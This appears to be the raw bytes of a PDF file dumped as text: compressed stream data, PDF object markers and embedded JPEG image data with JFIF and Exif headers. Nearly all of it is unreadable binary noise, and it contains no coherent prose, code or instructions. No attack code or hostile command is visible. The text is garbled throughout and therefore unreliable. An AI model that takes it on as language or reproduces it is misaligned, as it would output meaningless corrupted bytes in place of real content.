q*A듙jO BWkIfY#40`2dR mͷd zChVO\&ef*\b2*:V t[(o%c”w=jşƵq\ 5DU]s+19灁OOӇ:mƧҙ26*Wc0ʂHxαE(ȴ5dVѕI+78yg!ҼC&zC,GɒG2}=rM;-/7My{zdl=tzK>;hO-$f8urU4SoN6,giШDzNJ/%ׅuK$X'Ԡ{U(Uhe๑㞀- iwz1Q@XRIYUk^ݛ[kQw8Ppc|`qjESs8cEn T޼FkgSZxc* B|@ivMHmgZ]/HByz-ǂHm'/*V@^=r2:ֹ|7g.e1YhUq"@N8i}p{.{u}u'M:ѠS;;/,s:&@J8 --K 30_a̠$@f's2"NΖgHZO3 7@I^.S}X_j6S|ч4b6 1i c+gs=/_$F6-FPv~`8ǨҮgK{nY1q` ;ay%`/Ґ\$vң}8j{_iSK dͲK4 #e_;`^C.qTϪj]A$ 6:Cljo:Ft~^T)b@>_{?_^:wt౺]tMp与MrOxJt^gPʭ.H#xTZwg+ bk(A!ۈl@铕c?P ^iK,EL&!m>:]+^'dj][8d.:2{]gY,u{->䷖۪*F??|+2Zk*X ' imAj&wP ghPI浵O iίi{m  ̇xЍގZV6ZmiF(i/󌪙Bvwmk[kmQcpU@T. '<0jmG?#\ِ0#Ke\E>\r'z99wg+ bk(A!ۈl@yZRXM/ƒc?S5kooc{UCFy>iN9nO;sfmQx4/ʖanɖO[6s17^$5S MwZ?ѧa{L'Y`uX,l_unJok֣O5V?kNFl'a7M{9}|lj5ݿzB$puSv;H{7SE/?x#x]!GjxIkQ4(-{7^&$q!Gj&CZ_Ni; l_0k̝u7^!Ϳ)ƢĚ N 1}|/?x+x]֣O5,$5Sv O|/?''\ 񦯈kQ4=Oq{idnέ{7^7'Ϳ)Ƴz j?FS8\l_0/ߔj9ICZ?5 j?FST; l0B\f׃/5kQo$7Sv3ȿ`tF?xi& j?D^$s!GhӰj{2N}0t0/MbׅKMw'Z?a& j?FS>q17^$q!GiĚ5Sv Or6^~To3SU]u4y/}|50H?OOΣO4izm?7ȟnUGcC:??ΣO4i5=mg?`u fׅGcC:?$s!GiĚ?5Sv}o 0? ] IkQ4=Ov|c7nL?3}|—Ě ok֣O4i5=> 0he}|Ŀ$q!Gj$s!Gh5=(;u{7Rn"Ě?:)ƮkΣO4iZK _0>sA{7^+ ACh\ΡO4iz; 0>sA{7^) ACh\ΡO4i5=w?`t}nS-s:? AChӰj{gخ?/}|?x$zu =s:?ѧ`^nO=s:? AGhӰj{gn?/}| ?x$zu =s:?ѧ`߰\^ 0/H ?G$zu N``u_)ƏH ?FS~qA{7G.?/}|Ŀ#?3S)ƍ;bb]\Ȩѯ8ګҼx]i-[.0 caPk[ծ RhduWKea+ӭ(U#ED^}# endstream endobj 92 0 obj <> stream xWnF }7Gi~)q j(}P&RxwԿ,9){mq<䐇lO񒜜 Ζt<`T<}=et:OOYI-:K q,~w$*1 GGNѤnrybWA#򫪾^{w?~Tކ_ ¯0㩗-Pw[A3Ӏ*3S5utq'.:U}M?8Nd+?B'7IèN i4u8ĹVcje8Qs=lj"N8\6=\Sŧ4Nt{<1Ie]Ӈ#v,;::^C@.Q傹;y8yu)ձrh2O%ɠrYf$kj(|IQvϐ2)$0SϏzBf ˃TK_[8PYU4gWFE!]nV R4 L7K]CkvB}*M:ezD4tN+*1zKB+A5saܫMT6gVD3*+I!RWuv%W&Hp-^~5EY*_uy1>׏4c&2ai>%Q'Wø ZZ*UQh w r[#qטshډ)> stream JFIF``ZExifMM*JQQQC    $.' ",#(7),01444'9=82<.342C  2!!22222222222222222222222222222222222222222222222222*" }!1AQa"q2#BR$3br %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz w!1AQaq"2B #3Rbr $4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz ?}:R5MN1u%bo8<x ''$5atm?kgB>҇?-j s'RP1NNZiZ<˓ Thz:#GӺϤRY`p}\XhfO._Gh?+̊ßPSi4};M#N>5mNm#NH³]It}fK1mh32N1i1BqAm5$ p>nr {Z_ssGF5-G+Vڽ]jrNd؋L20Nh45yʬDV$;<.0c;'Oi;$VavwGk)c6om`{ #|>c[ @'q B mt]_OmBۉDCgx#9bMr܈X]F?ӿ?𪷞ҶF??&x^Qn{q({(y NсװLkWi(o~` V#yopxhtZ҈iqHio6i{6{i@85xk:ޥ}m?E c],A#X1`7=*hmkc>?M$O:i V>D$ ʬ&&"h%Tr#fhpeیj]_C;# ^ZOpvP 44;#jӺϜMnnƛj䐓dVNgHӿ?C>[*lqQaѰQ$T/4%ˤ# aZJjs?dP?g|knKd@Ng# OEjZcRqkbU#v Se4e>j!Jsjb"*w3FX#NH“KAwG աQCT9fӿ? ?$]jVlE/id#OH¥K (#OHµ;J( ֺ`l.$MMoct+Q'8-J,Q:;#OX­G?,Jm1,+ӿ?›&$hwbrJ1Ə$Q$NHº lɪϧs.=?Hi T:K74+B; *ۅ4X.U]G ģNX¡4J6-PpdP{zVZ) T!6GKqy%-t9_i~qYBGMWğ,@͇+(:B8`GȾqq ٞK#Y%>T"S? H},gtЁr)BmG9/)'X=ި7Vf"&rXv?SGkm>Y ŧ#dD h jvOA,։DJ) m?R}:k)@SRC؂3j㴢mCvIF̓mأ{^yE%5qʪ@crsb]CÖ]'x$b)#*HV_pܛkri#.;|BCam*Hx#<#5N"4ʯ!kfl2yַ}@{;IѦ_I_ywKƙ-J8^;ǵD{rbl,G,aBJ!U$99[o ZCsחW\&)FaHU +{vVCv{$y_7Ы9$'Gyë[rQ,pJH}W ?!Ӻm+S:|R_^Vrd@n!ad.qb~_\n'1M A$yc%=}@;SZc[6 "nݝlt1[R1f3p13xZ$KeMgl-Vksi#pqu5v}/? 1_mM%Io$I%.GUEN08P~ۏrUƕg aZG*.vZ[}}h/}}jS2Ց '0w]Řy|?SԬյRѺ%'%"mVckC̾=̾=u5,B(#yT)@d=KUmo=Ve2*pa}C}}h 23TC#`vjfZUO2v$p9YF^^Һg4A^^td@}?&p.̶ubK0{;N^_p.̳})y]ouvξ5,,sPIo{@k;K^җ,$Ђ6:v:v4ʼcQ? }}h? }}h0 65:v:vccRyli|_p<_p=0ƅjp ^^֑Q%ݖisU_pC-?UY42^_pBs $.i0poo?,Ǘ4yTxEm/?, 1ae$Vx[0;R+ޯ?Af^iV }}h? }}h 2r\>m?!{p.̔Q4Mw^G4׿㴙=,$z5o9Go?!wmҺ 2ukvKgauom6mDpڔOp.fXNoo.vq@[ҋ-,Ǵwѱ6ބޟ?6]F./ }hE?AfI?6]mh5M?Af?;~m?ӿ}vtdF1iDm0UFrp2zߵyg&Czk;iDLd0Rc7Mk)i^K#C'Zyr-\s럍[dO]n`}|wpixH` bDBm,1zz=z[n#>YHt$zYz?ڮ$۽bٜl}ew\'ٙYm7rG>8ٿ<ʱ ѓI#AtjY=Eb ېTrxL%lȒq)˸6s۶1뫨Et"= VR0}#޳ceG5ҼNb8f'VYcjM/ly(Q]A֯%Š A >W<M)C@ݻ8:N7r@$19IF ؊6C Q= 3_f>!Hs$Lo})k"3 \gڱWÿFXp>eH H]U|Oʻqd~lM⾅ۆ930uB.FHɜ)DH,~tǐEf㰲+ZRF*Nҧ+؞ruIfG&HHUHP21#XZȌY09: 4ih|VA?(a@?\Nc6 >V'wslbƮ 2!SȬ~hV2a~q;bխ"i]9c2j}FI ~' M\.[_ZW*L;yg9JcxR62ITDŎӆqLVk2\.責7}ݿ)s%7|/ʑl_g1S`.ZI JbGV7iĖk?ҷP& g#5(-Km:n{cJ.ǝ,RgMxoO\ inM3gi# БX7V%w\'ٙYm7rG>8CArOE&m*Z a 0 xջߐKO n˺6YFqpz#HƑu|UC v >sj FON3C5GlQ PU\ =r1WkJ6˵3Dd [< [];"u,}cU<9Po4}..Te>jGG* o5_ˣˣcƏʂcGWAvXƫtytr,}cU<9P]>h]].o4}..Te>jGG* o5_ˣˣcƏʂcGWAvXƫtytr,}cU<9P]>h]].o4}..Te>jGG* o5_ˣˣcƏʂcGWAvXƫtytr,}cU<9P]>h]].o4}..Te>jGG* o5_ˣˣcƏʂcGWAvC5ȓ[c[^iFP|Ghs.K$@ukLϭy_2JF?_8xt I~H8ѽfE$??Eh[Kq,A3+qtcZ1i!~'k\~lXzm7V~G]-7Wew@yUOұifc^T7UK3,j'$/\+`8ϩ\U oEZ#KVw[X\²#r܌І UR% ne7].΀³nǜ~xJdp fT|w0+:PSJrrpŦܒ G]6?'7Wwnt;|˯?)p}ƤcҲqmKpDr~&0ŀ/OR5)fUTdu(Tȿ7w^RvKl'k&d2(cF:cދ6*y\=Kmٿ&_*+h|V$L3 s]R,$XdQp(&arӢ3mO3s{7m.4{VJy3\ɚNHhHՈtu.gvo \2_[ CԞ OZ9hp;x"nsLc˹?[k;xni1:Eq4Weba_ƻ=S=b\f̑ǒU8'<$$С$Iu H7C]LC Ű+5=#Rt b 60nGSj^Ț׍4+۾M:龝ڙbYc$APR{l. b)s\OXM(d@@>ʾrygɰ KAt7IάiKռ;w}(o\g .O'kgzM2UVWTڬf`W'|M,JqbeY>mάC [Rݵ+_fiyrK~h Yn㵆pgg'OwksJBf#j8iX2REύh".! {q}k'XF Ru Bp0:ֽw~^o/Cˎa'Vܺsrsmgii5íHɒ5Jtao 5V=M5Ҽ{=G.qq18Uu k)\=^ujM<*NV'R6!FQҺ<[dBd+*NKYc<[&/fFa?' I'0YX/Fl2Ir嶅ˌ>sb魴d]Ji`ud,`#N`<8|97K6;9d;]Zy["kDR$xǫJotW,om9:'?խwQ n4Q,2-P:ӧF,urYn0F {}]2SDWN|;o2Tgvo 4W5΂}f?7U(7Qmٿ&_*Emٿ&_*o2Uf.oo2Tgvo 4Qp+gvo >LUY[>LUݛe\ ݛe϶/VhV϶/G}fE}f?7U(7Qmٿ&_*Emٿ&_*o2Uf.oo2Tgvo 4Qp+gvo >LUY[>LUݛe\ ݛe϶/Vha^k|ZCq^c7F ?_%z!OFA^[7F ?_%Zؗ=OZZZ֔-tG;JSGq~u8=Ž'#!dxבCva//l綒I 4mw`4{94R Ĩzd FPؿ Cb Iu&{{5Kw/s?1Y: N CȆl?5(Ѱ?/g{Gign[]+xlQ(T_@+<q.sylca;Fl`u{W_aA_GvBߕ3H k!D&m;#vb\x}+v8i6hjR$81mky3TdlzKqyRkrF>E Cb ?l?5(SVO@pwh -ROo{%\Awd$hd$j )%wȥe7Zbp4j*ϓ'K'G'K'@E!B\@6BJdbɓ~ɓ~ =7"wkI(+UTa@d$hd$h׳FqFI8N{.H ǭt~L/ML/MJj1\ዙ #A'5y2Կ4y2Կ4Yb fX8tz_69*&OO&&OO&)IhR^,oe$T!<,s#GG-sfs!7ƇOS8ʌdD6:||bY|3=zp*wvM<+\`y+Di6A EVt]3#Lyg.@y2Կ4y2Կ4F:Z8Q(km֣b,2O \p<km\As"h!GzWc?RI?RIөN5#%SHa,RhGH(irOZS7q靎FG<}Xd$hd$jثYXм'cx]C?RI?RI3?UUQRt>޳4Wg\`ܝۈɓ~ɓ~Whe)R1jt4 kɽzF2(d$hd$kdwGoevdg[>Z4KNfx^.#my2Կ4y2Կ5uTT * _{49 a#'+o ԗh#HF?vIb=Q"]n0AǾ{WzeծY CڨW$M80Ҙ ^JtNJt"ѯ-hcܪ#ޫԁx5sY-*}F'ha] oC=Vͅ%՝ӳ]H!)e?x18+޵lt}߫)&dMAo0S? %0zKϱIWvһqEzm?Nz3֝ 4QEq!EPEPEPEPEPEPEPEPEPEPEPEPEPEPEPEPEPEPEPEPEPEPEPEPEPEPEPEPEPEPEPEPEPEPEPEPEP6!OFA^Y7F ?_%z!?FA^Y7F ?_%Zؗ=O[q]r\E PҸPNxV$OSDVm_.jni??4 YBro/]]&xyddAiޛgXCOIHy,jAK/OsI'-wGOθI4N{{{kFTf|67mwcwZT**b!O=sI'Rk߉*tgN;% #34Ö\ig,ǒOҫFT~Nj^ '_P^zMͯy4{8#8ϽSes?nRC4#;кԒ$]$Jv,G V&wۣG?mn-Iҩݶb׺Ǔlϰ Ԋ.?GC|> Z?kB-R)嵎pEJv;[t)bGۣG?mly{Γߥc?b[t(@n-}?ǝ'JUdwMژ ˃q3?n-}?ǝ'J Z?kE$K\\IJPNqLY )_KbGۣG?m;JU_n*,/t s0yo:O~t1hmţ#iZER[teA8G## IIҀ1 Z?ht1hm:O~y{ GC|> Z?kcΓߥt(ţGC|G'Jt1hmţ+MJ.ff2˞ 9V x^cYE7D`o9dqVVAteGGP8KM}h4}b7kUa,m?oHZ8LDY![Kمe( q]^Atٚaпp^ kQ%-O6E1<|Gmkuk/3\???5#sV?;.wZ;*sZ;*s^9*?\??آC#!PﻦJC'/m4 䫓a~;A'6\}b̓(6Xgҥ6:$rqU \iSLjVn{fkY"a̸!Ƴ-?Z<3 ŮrU;p8| ;J}*2O[ep YyWewSxkOKHD")X p;)b?9*kKsjAT}]??ۢ>ǮnUc7*6?kG5 C +!Q]spr.AT}\??ݢͮjU'ٵ CC :oZsOTQ|I&mO[ڤ3q#!pr xH^gM^-A#g_>ϮjUs^oXu[ Ȏ -^ɖB(hUdFJcܚ7#Sٺ;bg.`(_.@ba'vp\??O#]??- T֗M[-VblfDhl ߐ2_\'D\5+ņioqer̪ p3Ӫ5 CC5*wrfK {7 ylf0%s|k*jVfuLtI`J-</h:a!QIoK\xk\kdVH h x}Xuk;MoÍ{4@EolH.:0'u C?3*t9 x2X[-;fĀ# sZә5AGӤI H?.Za!QkN-\fU^A Thw3*a1PEEs5 CcٮbUtu[Qeq.w⩲CK%Jki_j6| 㦲UXbIgU0$hW% ڊf h-աXbA0xPxc]???~xWUGii'ت,fHmW@y# W6<;-icGi *h-fd'GO1*şfA[sslڿ- b9 w^7!>~qk"֧8e  ]~u c:1S;a|Siw.>3M5wi ds]s9?/*KΚwkFs1Q\??c~Ax TfAx TQ\ZUfAhTW/F kYi;q(Xvp[>5[׭gdFC^W3C_2J/sѣ|"F{ow583'4Qy^NL$< ih*m>A+"~`HߦkۦG$_鞵&c[R5RJu%*Z~]w.j3]F#[VO,E'*mRc/l'Q*XlV;su+If&8#Eo⸿ԖTÈ&H9^l>=JsޗW::JRZ<%]װgM`QJO3ߚ4]?ZEl(鞣kP/cuʝkl{Z5~働A8nfaBbX9'j=AKPƔ)((7{}֩Kim,t3sso5ظ6rF e/}Ӟ3mVg]G ggt"aE$hڭbCê9KPE,v fZ[ivyFޯ8*rFxlmcې$*6208;~_*/- ^Ax4uo gM&ڭFsYӆl=GNlkmTv wT+mz&%ݾi"HN".T(]VvVaʈ`lN>UJci/v5g`%fu;>y%|Q-Tv*bK\E+󘻸 6%m%ڵeDQ9E arp;v!%ƣuA.iKӑ$Y^Āpdqd AgeiZ%6d0FRZJ@ J J(9=fZYK.`UÐ!lFkL0gYHfU(8mL்5+FmFLKҵ&Djʬ 1 "I :|l~KpJ7yuMf֖/H#Jpwr;W [31nݎgךrz>-.(`]VDt N -Xms}i~..o/-%K8]cc985jZk|uW#VBzRE6y̺qayoqxmKx8H$fܠyd]&iX2aۍ2y&?PXl-nR`* p*354Z[om pHPtl'_tQI@J) -% J RQEn ]>f0eB#+731N;c';B}I[.[]q%4c Fq:_-g:]3wROSBN]i c՗ڦfXŅN+ d18殞/ V-ibJ%?dHl.HZ] GKJW\@gs>nWeV3c\uo:$s_|QOscoۇYfm?p^x8 Z 4.Yrݿ{>Gw3ķ }MʬUBۏ`I rNMtk?$/JX 8±#'!(aH*|x$q$G,B,y?-R1RF d{\|-NRo.#`hfq,灜 ('q:X`2E|;o`i~F3{wcgf ua{ih0`!DFjg.Khb')mݓL0N$gÚLP[$)CBcgM:oh[>"b>^غ֚׶2]}^h!&#0ːGG^-搗Q^kt}6HHQy-,-)Cx-J%HNDXyˮǪ귦1LyqžI ryއJӭZ >+ANAaUtҷ aH! t buyDEf9H$:5ƭsi%ђkךIJUW̍ {8]/ m90Ĩ=~P1T_ h+fki՜HЋDX +gއ"ys:.U!ir͍<%kE~1 )ɓ -BrOmv fddϠ[JTer&W܎gPo }5֙>fkqYv ܎0g!>.si~umB ]bfU$%_d`u)i@GZ$/X+GF9^O95sC;'Ѵ洍Bǩ CP]?eѴ; #kM~F8Af Դɓ\Ӵ,Ϯ\ñ:nsV$W[b4eo->/n1j611p?*::3Zk|_K{%fV0E)"f'yqEAj.u וؾn}i>ؾlU_/'ր-*֐/Z}i>ؾjb Ub}}h%Vb}}h%V7I TT/k_ZIU־k_ZIU~־}}hѤk_Z>־dU~־OzEFOhJ(4RPHii(4RPhQE %Ph( (QE%R?U.I5m^2 !$V׿5m^2 !$[=?SDV̟3[hEO[2o_.))M%AAIAIEJ(4QAJ(4RPHii(4RPh(zPɱO5k~"]=0,6 @x==+{Pj|5^xV--1E$i ~'_֚Wbni2t 2\ۃ'*WeswiZO D\ [ ͼs*K $+>,zo gş/MVrˣr39Iп7,Q9Ps39F|YBo+* mh2]48'1vr*\{FqxWeo9FZ7od׈ArwC%DӼrWwB/|K/J ^5om."\!w$(?7 `SBWաԏۮ4+TTbD˕s 0Ry[t9R^j~6ئKhʻ$qsŽָZu<щk$$|x$9 ,d )TPY(s+~:+.vXV];99v) jvWo]J u}[hghncF U_ĺݞgoes5!tX Є,2xVqhz +wW'nM 4O$vbbCg#x}4UG}dy$˴vbv>bxǠZ(H8 y$, gbCg 튢<%7'|3L׳>q0`q:[tP":(-!HnUg$ĒFp a]UcԨ``6`OOJҢ0m[}?h6"F3q8bΗ ֒$wP!Lcg c-w0-sע1-4pخ&X+X1I4SDK-GB{1Ͽ|٢(( +ۏ(Һ҉*<{oUg>+GN>,) RRJ)(4PIEJ(4QA( Ph(A U[/VU't>#z+~!b[_kyO? אђU-{i`q+Z_mދEL!'iez/sCoRQEA@i(E)(I@!PIA JSI@%)(M= -#t4\߃7mp9 _=T>"eh舫R?DUJ[lQE!Q@Q@Q@Q@Zh:M(o1t2DGFpPO'tߵ7n-\c=73IT_<v6o3qL/%~VFZ%!D&|Ι޸&s޹aJ}- jVWv:͜І2nm] Hym Ԍ$r74In^;Y6bH* 9T_y.zhvO鯿knݍ[1zo\g?9$n˟3gs39v_]K–i2$R:Fq!m+' KFnb#hqd`c%FQYQ@Q@Q@Q@sWqWA\~a_Q%\7"gO<_^}^c?uzvAfE)(I@!PIA JSI@%)(IE(4Z?՚qW4C!oѐWD͗y%z3m^2 򟈟!$[="?DV2[AOZo_.7i -%AAIJi(@%Pi((4QI@Ph( RZJ)4. s~ ߈ݵsI\7mPaΫ_I"J?UV)n8QE!Q@Q@Q@Q@cUq:yݰg齱rL2E#0V(qg_"cȃ8w5Af#cv8rqGvR(ϕY7VÓ'B$"E,dHE9U}STi267mܓg'yh> 4I~3 4I~3 4I~3f)aD;l~4>qS5h|U9sTOQX!EPEPEPEP\x?J$0J$)D<oUg^+GM>6J((QE %Ph( (QE%)(4RRJ)(4PUn?JY_ΚS[yO_ YאђWk[yOo אђU-z<_ idz/sY1Ȃ"]nQE!(( RZJ))M%(4Q@%)(IEQAn>s'~ v]&>Fk ^А Hl~upvZ?|"*Ԭk.oOgIY 0C:OoJ'oQwEdqo?uym.WخdkX@oho;G+آ?? vW9Ec@ym;G+٢ ]᮹;G+ע?$MnI@oh}VG v?{ms#^;G&9_`F vMr̍z+?ym! vW9EbCPohw26_Hym.9_`F B?;G+ڢ"]CPoh`F U㴿^;G+ٮkM?_҉*$ @oj1i_?`G4{IwH(y/ I .? M_f=${e. M=~ ο.7 MZfhW? g?Xжcڪhfi.glRğS`G4{IwH ? mG,Y[o?٣KrG,Y[oOXж1U?4`Gpb1mci?aAп٣KrGO?]3G'к15o ?٣KrGS?\3G'и15k?٣KrGW?]?=i__aGpb'и1fOqcj4aGpb'и14B_]Ò=GˏTu_ݫئm24B8<QZHi9QXyAWt-*#{TKEJ(4QE%)(J(4RPHii(4RPhQE! %W?Պ?4@kk[yOYאђWk[yOďYג*ĽFD$87vEk&/DV1@ %)PIEJ(4QE( Ph(EPhPFj&7jPVSڛ5f5k*L/V4OGҭhҏ/[ d_J UJE6W)(҃hn*}}(6V(ҏ'[4SGҭ(ҏ/Z*EV }("U T"QET*}) UJE;UJc O4RRJ)(IE(QE! %R( RRPIJi(_:U+tFA^SC_?dFA^SCv_?dKb^E"֛F;w5I`q+Vz/sCm(%R(4RPA JSI@J))M% J(QE! %R( RZJ))M%(4Q@@ EPi(QE)(I@!PIA J(QE! %RPA CKI@%)E% J RQE( Ph(EUy!_άUi!_Κ_^շz+~#n[^շz+~#nlKXBOZ軚ɏD$8?p6(4TQ@CEJ(E) )(I@%)PIEJ(4QAC@RPA CKI@%)PIJi(@ %J(QE%)(4RRJ)(4PIEJ( %Q@h@ EPhPIJi(@%Pi(y!_άUy!_Κ_^շz+~#n[^ݷz+~#nlKXBOZ軚ɏD$8?p@ !PIA JSI@%)(IE(4QHhI@J))M% J(QE! %R(@ E (E% JSI@% %Pi(QE!)(I@!PIA JSI@%)(IEQAJ(4RPHii(4Uy!_Χ5ҿ/Mnn?d_7e^CFI^nn?d_7e^CFIT!z,!'ic]dG"ןF(?ދEƍIE(@ EQE)(I@!PIA J(QE! %R(4RPA JSI@%)(4RQE( Ph(EPh JSI@%Pi(E) QI@R( RZJ))M%(4Q@@ EJ(BWz/4@k[yOYאђWk[yO אђU-{i`q+^F(?ދED_!{z/sD4@)(4Pi(IE(4QI@J) -% J RQE( Ph( QE!E%)(4RRJ)(IE(4QHhJ(4RPIJi(4RQE( %P(QE!)(I@!PIAIE/4ҿ/Mjn?d?7e^CFI^jn?d?7e^CFIT'Ȇ"?b]dDOZ1A_.6(I@RPA CKI@%)E(4Ph(@ EPhPIJi(@%Pi( J(QE! %RPA CKI@%)EQ@CEJ(4PhE%QI@J))M% J(QE! %R( RZJ* #_Χ5ҿ/Mjn?d?7e^CFI^jn?d?7e^CFIT'Q ڸw5%??En軚$4QPP(QE! %R( RZJ))M%(4Q@@ E (E% RZJ))M%( %PQE)(I@!PIA J(QE!(4Q@h@ E PhPIJi( %P(QE!B:WjO_FA^QCv_?d շz+~#nlK(_'F(?ދE=5I롹w4HIJi* RRJ))M%Q@CEJ(4QE%)(PIEJ(4QA(4Ph(EPhPIJi(@ %J(QE%)(4RRJ) -% J RQE( Ph(A RRJ))M%Q@$_:B:WE5Dq׭)?V??dB]zOk>%@_QdKb^s!??El軚FW >k.h`z( Ph(A RRJ))M%Q@CEJ(4QE%)(PIKI@%)(4Q@h@ E (E% JSI@% %Pi(QE(4QAJ(4RPHii(4RPh(4Q@h@ E PhB:WEcP?t@tzψ-FC^a9qO_%zVq^c?F;O_%Rؗ-]7iI,J#?%ʍg GXF!?EtCˇKI 8$ Bhc@H?Th#7G7L  QA~"@M}?{S4߰a$*4ox^M'7IA~"6?EF/ۓ} o&'M'l }?hrϽMA~"6?EF'S} o&z{S4a$*>c@H?Th~ڟ{S4}ia$*>c@H?Th~ؿ{R4l_)l ϶/M'} _&  QA~"@#bϽ}j_a$*4/9>?j_a$*49>?joa$*49>?ja$*4ڇ^Mj{r5c6?EGl v9Oӵ՟a$*4i>N׿/Vc@H?T}߈ hk{r5k6?EGl v9<>/Vc@H?T}߈ ~y[?{r5s6?EGl 9O<ϭ߰a$*4i<[a$*>c@H?Th9h}o_&}߈  Q<[o9A~"6?EFg>/G{r5A~"6?EFgy>/G{r5A~"6?EFgy>/I?^Mi}߈  Qcϥo9  QA~"@37^M&?%kS6?EGl '^$MKOa$*4+t{4n}/_&~c@H?T}߈ ϥKљ?%k[6?EGl ̿{4|_&c@H?T}߈ >w /I%kc6?EGl $M;a$*4{4boI  QA~"@1q7$M|O&c@H?T}߈ \M>w 'IoI?  QA~"@16>w 'II?  QA~"@0>W 'II?  QA~"@0O>W 'F$kw6?EGl ?^$MFo6H{ f{w@rH}߈ii$z<(C+,1A6Fo1#y/"fmvٞ7OI^i5 %ђU-{\aӞ?}GYH7:9-mw؋$q =mj>KNRȽh[i Z_OA^223:ϴ(0J3 %$ٵaU%S5YiWi[c(.Jsx-4u4c)Ҁ ,e2'?u-;Exaݣ( q*A듘('gcٵ[Kq,B02)ێ2E=|i+'.AiKYN.1MRA+?mu7NaJL]߻GbcZXu8obtɆč"*.9@i6SώiLyLd+`A$mv&k&HZrp{? se-.$qezm]G]ec$N6OnIo+ /9q\㳗Ol,*8r gW>N[O=ig :sצюh l˩t9 ndc%UXA~oO%Sƅ{p/0fPI u^듹'[gK $V]'PUU$/|u/)dh1^13Fivcniwd#\hH _k#(e;A?0cSY\Ypňop'$s}"&i4[4`t(WiR택p?*LjtZlom;f٦ t gǧZz]|Ko?gkyD }8jk_iSK dͲK4 #e_;`^C.qT\jvzA8iÔ$%BQ/'{y7{/dx(KN3k@隋 wԳp9pl,*IkZZ;y˽o$k;Qr>RҼ7>IObmeJ͸ (Lh$w1wN`0rwcGw t^iaWg0,E1ު[xŴ{ 2;#beDp8fۑkmucԖm%df>['*x#~]尊Zh63Q^tPmp ZJd̃2mFzkreܖ9%LnlH,=5E<5:x@__k>pGFیms+b Qnp9NVWQE!Q@Q@Q@Q@Q@Q@Q@Q@Q@Q@Q@Q@Q@Q@Q@Q@Q@Q@Q@Q@Q@Q@Q@Q@Q@Q@'X_O^_![v?2J UϤ5v\FIZ/Cmxq,<0}?LG _0|}#CwdmrͰ px9q)ƕ{Wn1}|Ʃ>uA{7^- AGh\ΣO4i5=W_`tb\ΡO4EgP4; 0Qet1}|"?3Sk?)ƍ;>bӿn3|#?3S)ƍ;ffuA7^# AGh\֣O4h-Onͺ67nG=sZ? AGh5=67n۟ 0H j?G$z A{wmo?ٷ?`u?)ƏH j?Fٷ_`tff׈GkQ?#?5SffuA7^# AGh\֣O4huA7Gmo?x$z =sZ?ѧ` _0?1}|#?3S)ƍ;gb _0OH ?G$zu N_`7_`u)ƏH ?FSھuA7Gn1}|#?3S)ƍ;}n]^׊GgQ?#?3Sv Oj7Gcn417^% AGh\ΣO4i5=67nۯ 0H j?G$z Nۯ 0?n3|#?5S)ƍSۿn3|͹\֣O4GkQ4ffuA7^% AGh\֣O4i5=67n _0/H j?G$z Nٷ_`tff׉GkQ?#?5Svfft _0/H j?G$zu Nat?1}|>uA{7^+ AGh\ΣO4iZ+ 0O^׋EgP?"?3Svn`uk?)ƏH FS>wA{7I[ 0H G$Zu N+gt/}|Aܟ0/H K AGhӰj{wmo?ٷ?`u?)ƏH j?Fٷ?`tff׈GkQ?#?5SffsA7^# AGh\֣O4hsA7Gmo?x$z =sZ?ѧ`ç_0]0H ?G$Zu Nc?x$Zu -s:?ѧ`^nW-s:? AChӰ=W_`t}nW-s:? AChӰ=W_`t}nW=s:? AGhӰ=7_`t}nW=s:? AGhӰ=_`t}nS=s:? AGhӰ=_`t}nS=s:? AGhӰj{_.1}|/?x$zu =s:?ѧ`]b _0OH ?G$zu Nq\ 滸QO7` RqWҼ\" -fǰ-5ŭSƩ{42:%òB G*/T`I endstream endobj 94 0 obj <> stream JFIF``ZExifMM*JQQQC    $.' ",#(7),01444'9=82<.342C  2!!22222222222222222222222222222222222222222222222222*" }!1AQa"q2#BR$3br %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz w!1AQaq"2B #3Rbr $4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz ?|=MKMZmO>86C*A$rHIhJq^5σO[襥O9V03{ MB9J+94:RGCdnSUOwqh˗6"1hJ2(7M5f/ L945M`h>kipEf,d+ܜc2BqAm5$ p>n JIkoj_sOmOE7?_MfxVKN[Îa}^pa ^:Gr,&t .XN'Z_MM>G>?/&11ݼ_m40G>c @'q6[q ȟltWRrG?LU6oaE7gq¾?/iPM &p>|J$9Br`u1S|67"+4 ?0vm<9VfP@:G j>Ј #"kOOt^7Mc V%IK~(m+i0^$ƩcK;4;;t24YW=Wd+"(SFfGqWugLǙ7G$*|Eny/˝ nú @E-?7t=jZzeȊ;{s  RnR94D^ȶH̡3}HSn i]u5:43ID¨eqJnd'z*ۡi#!k Ew#s >8XޖV7qjZj7r[.3] %ޟwݪ!- 0\J_KDСoZ3|>F[vҙ2&Oj]v免v<ʂ\1aAe#1OHQy ,*s3j#\[N^Ck]ItEokޥ=ԑtQD_:+CtsO}x1]JT 4'B:#H彬cgk؇z+Gд|!k7PдȁM$>&5i+?hCu s3Ae؈dpwʎ*(cdέuyQp8^ i馛sm'tEnţhC3֛iJ8S,e}]m8mBO6L@F+͜R[h&\O3Kmh#"jQP)>Sc9sDѓ84A[&停RJ1%)w+âht-#!jGtD ǰs3 :GE;EAZ@|?Mn0Ozc9s҄big5m('A?&_6H+h mSiI'5bs4h:_MHrx{B'H@GEֈP)٣v3e740 #"jдv@#5"Z)ZGCֿTv"G*ϹɧhzG jHt&ZINzQʻ3VDЛtq{@?/&sKv3F<5214ׇGE֌rdSQʻ39tM @?/&i[[5 Y\6?/&MB'@:GE֊[ s2s@#@GE]Kú FWBҔQ 8^?U-ar:c+(߆ _M8xgebk PKrfXc>04׈?=fbӹ|36ߟ{AHY\Dp<$ƪ!..eY@KB;.'#jatG=p31Q$F,i;+;UPCc*z0iHТ+Y ڲ [#1V%ۈm].=cq,|nօ>=A4|h^O38y2Yi/-ز*7G\j_j\X`p Џ41[iCk,~t;m4guin6~,ڞ?nhzzV4R4?h6ыAѩ3MuF)&ߕhFb r#X۶ʂ\uugh/H\^pFvk |Q==O?¢UړFBTԴM R!}Tw[:p"*30|lGnU?!:=xֳ:VtȠ1pC1(\/miNcr&v'q javj? 㴒pʷDKKvvʷf R1f3p1+xj[egl-Vh ecã)32}kC}}Ai|G7v_sn ca K#y"I)r:*q1ƒg\x;óꖺҬỷ7l6HXeܞ[w\/QM}}Aj {UCb9˾B^6,X;iڟFfjqF.M(9- el*08zo?^@;E=ı<̪r; 